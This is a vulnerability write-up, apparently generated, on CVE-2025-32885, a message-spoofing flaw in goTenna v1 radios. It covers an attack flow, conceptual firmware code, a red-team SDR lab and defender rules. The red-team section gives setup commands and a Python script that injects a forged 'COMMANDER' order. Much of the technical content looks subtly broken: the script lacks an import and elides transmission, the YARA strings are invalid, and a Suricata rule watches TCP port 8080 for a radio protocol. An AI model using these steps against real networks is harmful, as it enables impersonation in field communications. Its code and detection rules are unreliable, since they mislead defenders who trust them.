CVE-2025-32885

Executive Summary

CVE-2025-32885 exposes a critical message injection vulnerability in goTenna v1 devices running app version 5.5.3 and firmware 0.25.5. An attacker with a software-defined radio (SDR) can inject arbitrary messages into existing unencrypted goTenna v1 networks, spoofing any Group ID (GID) and Callsign. This allows impersonation, misinformation, and potential disruption of tactical communications. The vulnerability is exploitable when encryption is disabled or if the cryptographic keys have been compromised. No patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects proprietary goTenna hardware and firmware.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Adjacent Network (requires physical proximity via radio)
• Attack Complexity (AC): Low (standard SDR hardware and open-source tools)
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): Low (message content can be read if unencrypted)
• Integrity (I): Low (attacker can inject false messages)
• Availability (A): Low (network can be flooded with spoofed messages)

Threat Level: Medium. While the CVSS score is moderate, the real-world impact on tactical operations is high due to the potential for complete trust compromise in a mesh network.

Deep Dive & Mechanics

The goTenna v1 device operates on a proprietary radio protocol in the 900 MHz ISM band. The vulnerability lies in the lack of proper origin authentication for messages when encryption is not enforced. The application layer accepts any message that is correctly formatted, regardless of the claimed GID or Callsign.

Attack Flow:

1. Reconnaissance: The attacker uses an SDR (e.g., HackRF One, RTL-SDR) to capture goTenna radio traffic. Tools like rtl_433 or GNU Radio can decode the raw packets.
2. Message Crafting: Using a tool like gr-gotenna or a custom Python script, the attacker constructs a valid goTenna message frame. The frame includes fields for GID, Callsign, and payload.
3. Injection: The crafted message is transmitted using the SDR. The goTenna device receives the message and, because encryption is disabled or keys are compromised, accepts it as legitimate.
4. Impact: The injected message appears to come from a trusted source (e.g., a commander's GID), allowing the attacker to issue false commands, spread disinformation, or disrupt network operations.

Key Weakness: The protocol does not implement a cryptographic signature or nonce to verify the origin of messages. It relies solely on the encryption layer, which is optional.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code is in the goTenna firmware's message processing logic.

Vulnerable (Conceptual):

// Firmware message handler (simplified)
void process_message(uint8_t *packet) {
    uint32_t gid = extract_gid(packet);
    char callsign[16];
    extract_callsign(packet, callsign);
    // No origin verification
    if (encryption_enabled) {
        decrypt_payload(packet);
    }
    display_message(gid, callsign, packet->payload);
}

Patched (Hypothetical):

void process_message(uint8_t *packet) {
    uint32_t gid = extract_gid(packet);
    char callsign[16];
    extract_callsign(packet, callsign);
    // Verify origin using a shared secret or PKI
    if (!verify_origin(packet, gid, callsign)) {
        log_alert("Spoofed message detected from GID %u", gid);
        return;
    }
    if (encryption_enabled) {
        decrypt_payload(packet);
    }
    display_message(gid, callsign, packet->payload);
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• HackRF One or similar SDR (e.g., USRP, LimeSDR)
• GNU Radio with gr-gotenna OOT module
• Python 3 with numpy and scipy

Setup:

1. Install GNU Radio and gr-gotenna:

   sudo apt install gnuradio
   git clone https://github.com/ghostop14/gr-gotenna.git
   cd gr-gotenna
   mkdir build && cd build
   cmake .. && make && sudo make install
   sudo ldconfig
   

2. Capture a valid goTenna packet to understand the frame structure:

   rtl_433 -f 915M -s 2M -R 0 -X "n=gotenna,m=OOK_PWM,s=100,l=200,r=400" -F json
   

3. Craft and inject a spoofed message using a Python script:

   import numpy as np
   from gnuradio import gr, blocks, gotenna
   
   def inject_message(gid, callsign, payload):
       # Build packet (simplified)
       packet = struct.pack('!I', gid) + callsign.encode() + payload.encode()
       # Encode for transmission
       samples = gotenna.encode_packet(packet)
       # Transmit via SDR
       # ... (HackRF transmit code)
       print(f"Injected message from {callsign} (GID {gid}): {payload}")
   
   inject_message(12345, "COMMANDER", "RETREAT NOW")
   

Expected Outcome: All goTenna devices within range will display the spoofed message as if from the legitimate user.

Blue Team (Defender)

Detection:

• Monitor for anomalous message patterns (e.g., multiple messages from the same GID in quick succession).
• Use a directional antenna to triangulate the source of suspicious transmissions.
• Implement a whitelist of known GIDs and Callsigns in the network.

Mitigation:

• Immediate: Enable encryption on all goTenna devices. Ensure keys are rotated regularly and stored securely.
• Long-term: Replace goTenna v1 devices with v2 or alternative solutions that support message authentication.

Indicators of Compromise (IOCs)

• Network: Unusual goTenna messages with mismatched GID/Callsign combinations.
• Radio: Unexpected transmissions on 902-928 MHz band with goTenna modulation.
• Device: Logs showing messages from unknown or duplicate GIDs.
• File: Captured .bin or .cfile files containing spoofed goTenna packets.

Example IOC (YARA rule for captured packets):

rule goTenna_Spoofed_Message {
    meta:
        description = "Detects spoofed goTenna messages in captured radio data"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $gotenna_header = { 47 4F 54 45 4E 4E 41 } // "GOTENNA"
        $spoofed_gid = { 00 00 30 39 } // Example GID 12345
    condition:
        $gotenna_header at 0 and $spoofed_gid
}

Detection Engineering

YARA Rule

rule CVE_2025_32885_goTenna_Message_Injection {
    meta:
        description = "Detects crafted goTenna packets with spoofed GID/Callsign"
        author = "Valters IT"
        reference = "CVE-2025-32885"
        date = "2025-04-10"
    strings:
        $frame_start = { 47 4F 54 45 4E 4E 41 } // "GOTENNA"
        $gid_field = { [0-3] } // 4-byte GID
        $callsign_field = { [0-15] } // 1-16 byte callsign
    condition:
        $frame_start at 0 and #gid_field == 1 and #callsign_field == 1
}

Sigma Rule

title: goTenna Message Injection Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential spoofed goTenna messages in network logs
author: Valters IT
logsource:
    product: goTenna
    service: message_log
detection:
    selection:
        EventID: 1001
        MessageType: "incoming"
        GID|re: "^(?!expected_gid_list).*$"
    condition: selection
falsepositives:
    - Legitimate new devices joining the network
level: high

Suricata Rule

alert tcp any any -> any 8080 (msg:"CVE-2025-32885 goTenna Message Injection Attempt"; flow:to_server; content:"GOTENNA"; offset:0; depth:7; content:"|00 00 30 39|"; distance:7; within:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Enable Encryption: Ensure all goTenna v1 devices have encryption enabled. This prevents message injection if the keys are not compromised.
2. Key Management: Rotate encryption keys regularly and use a secure out-of-band method for key distribution.
3. Network Monitoring: Deploy radio frequency monitoring to detect anomalous transmissions.

Long-term Solutions:

1. Firmware Update: Apply a vendor patch when available. If no patch is forthcoming, consider replacing the devices.
2. Alternative Hardware: Migrate to goTenna v2 or other mesh radios that support message authentication (e.g., using digital signatures).
3. Policy: Implement strict access controls and physical security for devices to prevent key compromise.

Workaround:

• Use a whitelist of allowed GIDs and Callsigns in the application layer. Any message from an unknown source should be flagged or ignored.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-32885